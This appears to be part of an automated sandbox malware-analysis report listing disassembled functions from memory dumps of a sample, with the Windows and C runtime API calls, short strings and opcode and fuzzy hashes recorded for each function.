Source File: 00000000.00000002.2667782007.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2667767061.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2667799628.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2667814596.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: c5759a61a7976f34472f3230490c401b0bdcfc1ff84e849ca2e690b48099d67c
Instruction ID: 4d86bd2ae757562d8160192595c5732c56f34f1228d97d68919d00ee2a874974
Opcode Fuzzy Hash: c5759a61a7976f34472f3230490c401b0bdcfc1ff84e849ca2e690b48099d67c
Instruction Fuzzy Hash: 9021AC75A00216AFB720DF658C85D5BB7ADFF042E4B108529FA699724ADB35EC408BA0

Function 10008336 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2667782007.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2667767061.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2667799628.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2667814596.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fde20d58f3e1108cd5a86cb085c551b539ad6d33639cd9718ad33b154971d06
Instruction ID: d1df9cd49d1a9d965a935ddcfcfd3b9185eaf4079d6f623355f3cc1fa6217373
Opcode Fuzzy Hash: 7fde20d58f3e1108cd5a86cb085c551b539ad6d33639cd9718ad33b154971d06
Instruction Fuzzy Hash: C821D075A00206BFF710DF61CC8090B779CFF846E47108124FA949215AEB31EF0087A0

Function 004174A4 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 00414F58: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,004151BB,?,00000000,-00000008), ref: 00414FB9

GetLastError.KERNEL32 ref: 00417508
__dosmaperr.LIBCMT ref: 0041750F
GetLastError.KERNEL32(?,?,?,?), ref: 00417549
__dosmaperr.LIBCMT ref: 00417550

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: fff5e27c2a9c5f498cd8e37e9d2e5b67da44c55886b9eb81921f36740ae9eac4
Instruction ID: 408a06d1cf8366b2ae1f3811782f7cd1de2d149ac6df674c503089c6b33b154d
Opcode Fuzzy Hash: fff5e27c2a9c5f498cd8e37e9d2e5b67da44c55886b9eb81921f36740ae9eac4
Instruction Fuzzy Hash: 2B21CD716042057FDB20AF66C880CAB7779EF44368710852AF91997751D739ED818768

Function 04D2770B Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 04D251BF: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,04D25422,?,00000000,-00000008), ref: 04D25220

GetLastError.KERNEL32 ref: 04D2776F
__dosmaperr.LIBCMT ref: 04D27776
GetLastError.KERNEL32(?,?,?,?), ref: 04D277B0
__dosmaperr.LIBCMT ref: 04D277B7

Memory Dump Source

Source File: 00000000.00000002.2667150208.0000000004D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d10000_file.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: fff5e27c2a9c5f498cd8e37e9d2e5b67da44c55886b9eb81921f36740ae9eac4
Instruction ID: 280c399ba042579c2fc3ae47cebecef15212a04233ce6ae6dae1112c47091d77
Opcode Fuzzy Hash: fff5e27c2a9c5f498cd8e37e9d2e5b67da44c55886b9eb81921f36740ae9eac4
Instruction Fuzzy Hash: ED219271700226BFAB30AF71DE80C6BB7A9FF1826C7108528E92997150E730FC018770

Function 004111DB Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: daefbb992f6e98e82da9deec0440fc20cde4ea8490cf1120197b10a32be04fa6
Instruction ID: c7293b4e2709a45a538168f771ca0d14dcb5837bd486a4ca313c9b6cb4d0090e
Opcode Fuzzy Hash: daefbb992f6e98e82da9deec0440fc20cde4ea8490cf1120197b10a32be04fa6
Instruction Fuzzy Hash: DF21C971600219AFDB20AF659C40DEB776DAF44368B10456BFA29E7261D738DC8187A8

Function 04D21442 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2667150208.0000000004D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d10000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: daefbb992f6e98e82da9deec0440fc20cde4ea8490cf1120197b10a32be04fa6
Instruction ID: a904d35281b7c39fd1926154ce7aed044de77ccbcc410fb24b39f756da913375
Opcode Fuzzy Hash: daefbb992f6e98e82da9deec0440fc20cde4ea8490cf1120197b10a32be04fa6
Instruction Fuzzy Hash: AF21A431300626BFAB10AFA49E8496F77BAFF5426C700C525E91A97150E730FC0187A0

Function 00418445 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0041844D

Part of subcall function 00414F58: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,004151BB,?,00000000,-00000008), ref: 00414FB9

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00418485
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 004184A5

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 42e04dca39cc9313a1bac36138922e873b2761e214a8738c343e5be4cc190242
Instruction ID: 9202fe00a5822ec58f1db5debff3a6e736622b39abe9cc99b2a2d556b75614f5
Opcode Fuzzy Hash: 42e04dca39cc9313a1bac36138922e873b2761e214a8738c343e5be4cc190242
Instruction Fuzzy Hash: A01104B65005167F6B212BB25D89CEF295CDF89398721402EF905A1201FE2CDE8241BE

Function 04D235A0 Relevance: 6.1, APIs: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,04D236AF,04D137FE,?,00000000,04D12A70,04D12A72,?,04D23828,00000022,00420B0C,00422950,00422958,04D12A70), ref: 04D23661

Memory Dump Source

Source File: 00000000.00000002.2667150208.0000000004D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d10000_file.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: b8c7e483e8ea991eea5b44eb111e182d5bd336103010429673e37ca0c8998616
Instruction ID: 746fdf7cb4bd243c65a63a4065a865ec1cf90f89ac346b1e7bfdbe2ba18d3142
Opcode Fuzzy Hash: b8c7e483e8ea991eea5b44eb111e182d5bd336103010429673e37ca0c8998616
Instruction Fuzzy Hash: 95210571B01221ABC7319F34ED44B9A3B6DEB51B69F110130ED05A7391DB38FE02CA94

Function 04D286AC Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 04D286B4

Part of subcall function 04D251BF: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,04D25422,?,00000000,-00000008), ref: 04D25220

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 04D286EC
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 04D2870C

Memory Dump Source

Source File: 00000000.00000002.2667150208.0000000004D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d10000_file.jbxd

Yara matches

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: f25717e6bd25f80c70edce058ac37b14eb42a5c51d25e47d03568e648881f521
Instruction ID: 6b450834c98b68d0c06934e978a113414a26fef8d8b2b0790b71c5f12996d638
Opcode Fuzzy Hash: f25717e6bd25f80c70edce058ac37b14eb42a5c51d25e47d03568e648881f521
Instruction Fuzzy Hash: 5211C4B6A0113A7E7B213B725ECCCBF2DADDEA919D7100234F905A2100FA64EE0191B5

Function 0041CBE8 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,00000000,?,0041C85F,00000000,00000001,?,00000000,?,00419A7E,00000000,00000000,00000000), ref: 0041CBFF
GetLastError.KERNEL32(?,0041C85F,00000000,00000001,?,00000000,?,00419A7E,00000000,00000000,00000000,00000000,00000000,?,0041A021,?), ref: 0041CC0B

Part of subcall function 0041CBD1: CloseHandle.KERNEL32(FFFFFFFE,0041CC1B,?,0041C85F,00000000,00000001,?,00000000,?,00419A7E,00000000,00000000,00000000,00000000,00000000), ref: 0041CBE1

___initconout.LIBCMT ref: 0041CC1B

Part of subcall function 0041CB93: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0041CBC2,0041C84C,00000000,?,00419A7E,00000000,00000000,00000000,00000000), ref: 0041CBA6

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,?,0041C85F,00000000,00000001,?,00000000,?,00419A7E,00000000,00000000,00000000,00000000), ref: 0041CC30

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: e3757025193b1f655bc0a77c3c1a7d52d6e2513ac00293883d9defc3f3400d05
Instruction ID: b2f8e5e77f4d676ad0e685e0439cc39e0844638a97b8ad054d7e4805cd8d945f
Opcode Fuzzy Hash: e3757025193b1f655bc0a77c3c1a7d52d6e2513ac00293883d9defc3f3400d05
Instruction Fuzzy Hash: D6F01C36580118BBCF221F95ED45ADA3F26FF497A0B404031FA0D96121D6328C619BD8

Function 1000CD22 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,1000C7E8,?,00000001,?,00000001,?,1000BAAF,?,?,00000001), ref: 1000CD39
GetLastError.KERNEL32(?,1000C7E8,?,00000001,?,00000001,?,1000BAAF,?,?,00000001,?,00000001,?,1000BFFB,10009A1A), ref: 1000CD45

Part of subcall function 1000CD0B: CloseHandle.KERNEL32(FFFFFFFE,1000CD55,?,1000C7E8,?,00000001,?,00000001,?,1000BAAF,?,?,00000001,?,00000001), ref: 1000CD1B

___initconout.LIBCMT ref: 1000CD55

Part of subcall function 1000CCCD: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,1000CCFC,1000C7D5,00000001,?,1000BAAF,?,?,00000001,?), ref: 1000CCE0

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,1000C7E8,?,00000001,?,00000001,?,1000BAAF,?,?,00000001,?), ref: 1000CD6A

Memory Dump Source

Source File: 00000000.00000002.2667782007.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2667767061.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2667799628.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2667814596.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 2cecfe65eba2e63a17b5684705d35a016e8c273fc96426fc022e5dbf763bb7f4
Instruction ID: e182fa176b596d651ba3484f1012657cf00b5fef4cb1dd311ab1bc31a0a6f155
Opcode Fuzzy Hash: 2cecfe65eba2e63a17b5684705d35a016e8c273fc96426fc022e5dbf763bb7f4
Instruction Fuzzy Hash: 53F030368002A9BBEF125F95CC48EC93FA6FB0D3E0F018025FA0885130DA32C9609B90

Function 04D2CE4F Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,00000000,?,04D2CAC6,00000000,00000001,?,00000000,?,04D29CE5,00000000,00000000,00000000), ref: 04D2CE66
GetLastError.KERNEL32(?,04D2CAC6,00000000,00000001,?,00000000,?,04D29CE5,00000000,00000000,00000000,00000000,00000000,?,04D2A288,?), ref: 04D2CE72

Part of subcall function 04D2CE38: CloseHandle.KERNEL32(0042CA30,04D2CE82,?,04D2CAC6,00000000,00000001,?,00000000,?,04D29CE5,00000000,00000000,00000000,00000000,00000000), ref: 04D2CE48

___initconout.LIBCMT ref: 04D2CE82

Part of subcall function 04D2CDFA: CreateFileW.KERNEL32(00428728,40000000,00000003,00000000,00000003,00000000,00000000,04D2CE29,04D2CAB3,00000000,?,04D29CE5,00000000,00000000,00000000,00000000), ref: 04D2CE0D

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,?,04D2CAC6,00000000,00000001,?,00000000,?,04D29CE5,00000000,00000000,00000000,00000000), ref: 04D2CE97

Memory Dump Source

Source File: 00000000.00000002.2667150208.0000000004D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d10000_file.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: e3757025193b1f655bc0a77c3c1a7d52d6e2513ac00293883d9defc3f3400d05
Instruction ID: ba32f5e7c7f589ee395ab4612f280422cb2f8a981fbc1d83efa3df1cc017ee2f
Opcode Fuzzy Hash: e3757025193b1f655bc0a77c3c1a7d52d6e2513ac00293883d9defc3f3400d05
Instruction Fuzzy Hash: 25F0303A550128BBCF725F95DD04ADD3F26FF08AA5B404030FA2996130D7329C219BD5

Function 00409D0D Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

SleepConditionVariableCS.KERNELBASE(?,00409CAA,00000064), ref: 00409D30
LeaveCriticalSection.KERNEL32(0042D064,00401044,?,00409CAA,00000064,?,?,?,00401044,0042DA8C), ref: 00409D3A
WaitForSingleObjectEx.KERNEL32(00401044,00000000,?,00409CAA,00000064,?,?,?,00401044,0042DA8C), ref: 00409D4B
EnterCriticalSection.KERNEL32(0042D064,?,00409CAA,00000064,?,?,?,00401044,0042DA8C), ref: 00409D52

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID:
API String ID: 3269011525-0
Opcode ID: 203c7f3a807ec8057ea0aa5072313220b9e23051332dfe18f360eb7747514d6b
Instruction ID: ed1c7c09b24d5124ebc712e1e7f2573f2e40a4f9289d25860d0ee5ca28a3c269
Opcode Fuzzy Hash: 203c7f3a807ec8057ea0aa5072313220b9e23051332dfe18f360eb7747514d6b
Instruction Fuzzy Hash: 8FE0ED31A85628FBCB111B50FC09AD97F24AF09759F508032F90976171C7795D039BDD

Function 00410EDD Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00410F6D

Strings

pow, xrefs: 00410F45, 00410F62

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 31403c08627a7049c2df153d0248aecbd7cedb7773a1804d7f4783afb4547b5b
Instruction ID: 1dd945e64f0d07477a36e3934c2b0d008af5dc79b4df0e8c4bba017ec81d751d
Opcode Fuzzy Hash: 31403c08627a7049c2df153d0248aecbd7cedb7773a1804d7f4783afb4547b5b
Instruction Fuzzy Hash: 65512B75A0820296CB217714DA023EB6BA49B40750F618D6FF095463E9EBBCCCD7DA4E

Function 00409590 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 183COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 004096CE
std::_Xinvalid_argument.LIBCPMT ref: 004096E5

Strings

vector too long, xrefs: 004096E0

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Concurrency::cancel_current_taskXinvalid_argumentstd::_
String ID: vector too long
API String ID: 3646673767-2873823879
Opcode ID: 76399865d75423f55fc174df7396f940014b7bb3f785ca2fba6546e7ea2eb098
Instruction ID: f4da2a5e80598445161bac14147e50f437b92e93805fe79093e1120e4695fd56
Opcode Fuzzy Hash: 76399865d75423f55fc174df7396f940014b7bb3f785ca2fba6546e7ea2eb098
Instruction Fuzzy Hash: 5A5125B2E002159BCB14DF69C84066EB7A5EF80314F10067FE805FB382EB75AD408BD5

Function 04D1BA27 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 04D1BA66
__IsNonwritableInCurrentImage.LIBCMT ref: 04D1BB1A

Strings

csm, xrefs: 04D1BB04

Memory Dump Source

Source File: 00000000.00000002.2667150208.0000000004D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d10000_file.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: 5641a44dda4cb41aef4b567e19f678f9a0ce6225873a8c2651de762a4506a773
Instruction ID: 2e5bb38c2ab6c062edae79d4077ab7c348a514ec97dfb4f641ac42324fab9e76
Opcode Fuzzy Hash: 5641a44dda4cb41aef4b567e19f678f9a0ce6225873a8c2651de762a4506a773
Instruction Fuzzy Hash: 97418E34B00218ABDF10DF68E884A9EBBB5FF45318F148056EC15AB362D775BA15CBA1

Function 0040C060 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 0040C085

Strings

MOC, xrefs: 0040C097
RCC, xrefs: 0040C09F

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: dec2c1a8c1fc86745a31a1a2a9fa5c906894c1295ee00ff621ec7b5f648f62df
Instruction ID: fbbd96fe11317218043276dd35bf9a0f08be73a273ccdb2477d392fe495d2932
Opcode Fuzzy Hash: dec2c1a8c1fc86745a31a1a2a9fa5c906894c1295ee00ff621ec7b5f648f62df
Instruction Fuzzy Hash: EC414972900209EFCF15DF94CD81AAEBBB5BF48304F14826AF9057B2A2D3399951DF58

Function 100044D6 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 100044FB

Strings

MOC, xrefs: 1000450D
RCC, xrefs: 10004515

Memory Dump Source

Source File: 00000000.00000002.2667782007.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2667767061.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2667799628.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2667814596.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: ca9cd7b99e72cbf3783ae7526526635f66225abf8acecb3cb58be7c4c4c22851
Instruction ID: 0fa13f4c886c2deeb8e1184eea68dc96f9460117e0f406c7378fe553058e7938
Opcode Fuzzy Hash: ca9cd7b99e72cbf3783ae7526526635f66225abf8acecb3cb58be7c4c4c22851
Instruction Fuzzy Hash: 7B419DB5900109AFEF06CF94CC81AEE7BB5FF48384F168059F9046B25AD736EA50CB55

Function 04D1C2C7 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 04D1C2EC

Strings

MOC, xrefs: 04D1C2FE
RCC, xrefs: 04D1C306

Memory Dump Source

Source File: 00000000.00000002.2667150208.0000000004D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d10000_file.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: dec2c1a8c1fc86745a31a1a2a9fa5c906894c1295ee00ff621ec7b5f648f62df
Instruction ID: 8e16835d7bfb3f1c2e63bd7adeb63dadcbd7cf20a90b367a0a0a759d7f9abe1e
Opcode Fuzzy Hash: dec2c1a8c1fc86745a31a1a2a9fa5c906894c1295ee00ff621ec7b5f648f62df
Instruction Fuzzy Hash: 46412871A40209FFDF25DF98E980AEEBBB5FF48704F148059FD04A6261D335A950DB61

Function 00401300 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

__Init_thread_footer.LIBCMT ref: 0040138C

Part of subcall function 00409C3B: EnterCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C45
Part of subcall function 00409C3B: LeaveCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C78
Part of subcall function 00409C3B: RtlWakeAllConditionVariable.NTDLL ref: 00409CEF

Strings

]DFE, xrefs: 00401320
KN, xrefs: 0040132E

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: KN$]DFE
API String ID: 2296764815-873640922
Opcode ID: d6f8056c27549fa5a6288615fe1556662b6743ffa200569e1178aac9022ea53a
Instruction ID: c7a597aca517c447b6d362385d7579deaaf1cbe7f5b4030a5a3b5ced69f100f5
Opcode Fuzzy Hash: d6f8056c27549fa5a6288615fe1556662b6743ffa200569e1178aac9022ea53a
Instruction Fuzzy Hash: 57210CB0F00384CAE724DF64E8467B9B760AF19308F44827AF8546B2B2D77855C2CB5D

Function 04D11567 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 04D19EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04D19EF7
Part of subcall function 04D19EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04D19F34

__Init_thread_footer.LIBCMT ref: 04D115F3

Part of subcall function 04D19EA2: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04D19EAC
Part of subcall function 04D19EA2: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04D19EDF

Strings

]DFE, xrefs: 04D11587
KN, xrefs: 04D11595

Memory Dump Source

Source File: 00000000.00000002.2667150208.0000000004D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d10000_file.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: KN$]DFE
API String ID: 4132704954-873640922
Opcode ID: c7f53b009e95d7dd01e5f31d15fda14bb4db076080706df986ab624f9e59cbce
Instruction ID: 5a595a3bc9408e3b4be581a2d986bcac07745c354329672faf04467a4baf3c8b
Opcode Fuzzy Hash: c7f53b009e95d7dd01e5f31d15fda14bb4db076080706df986ab624f9e59cbce
Instruction Fuzzy Hash: AE2148F0F01284EAE720DF28F8557A8B7B0EF19308F848265E9551B271DB7566C6CB1D

Function 00408410 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

__Init_thread_footer.LIBCMT ref: 0040847E

Part of subcall function 00409C3B: EnterCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C45
Part of subcall function 00409C3B: LeaveCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C78
Part of subcall function 00409C3B: RtlWakeAllConditionVariable.NTDLL ref: 00409CEF

Strings

_DC[, xrefs: 00408427
CD^O, xrefs: 00408430

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: CD^O$_DC[
API String ID: 2296764815-3597986494
Opcode ID: 399a8b999e5772a2d09049cbf9d260b7606379017b1484e9f9d8dab40e033c4e
Instruction ID: e43b8a85f3d3021ebc641e50c070c1ece00a7f90a8480fa311e7b242f9d929d7
Opcode Fuzzy Hash: 399a8b999e5772a2d09049cbf9d260b7606379017b1484e9f9d8dab40e033c4e
Instruction Fuzzy Hash: A0012B70F04258CBC720EBB9AD41A5D7360A718304F50017ED51467381EB789941878D

Function 00407E50 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

__Init_thread_footer.LIBCMT ref: 00407EBE

Part of subcall function 00409C3B: EnterCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C45
Part of subcall function 00409C3B: LeaveCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C78
Part of subcall function 00409C3B: RtlWakeAllConditionVariable.NTDLL ref: 00409CEF

Strings

CD^O, xrefs: 00407E70
_DC[, xrefs: 00407E67

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: CD^O$_DC[
API String ID: 2296764815-3597986494
Opcode ID: 763e4a14a1476fea278d585dab10dabfb5d17371b066c90e302f9cae630bd372
Instruction ID: 75c8c8ce13ad0cb5c53a0921d7a0f1eb8d827427a00a4f276ef8137bbb37e5e9
Opcode Fuzzy Hash: 763e4a14a1476fea278d585dab10dabfb5d17371b066c90e302f9cae630bd372
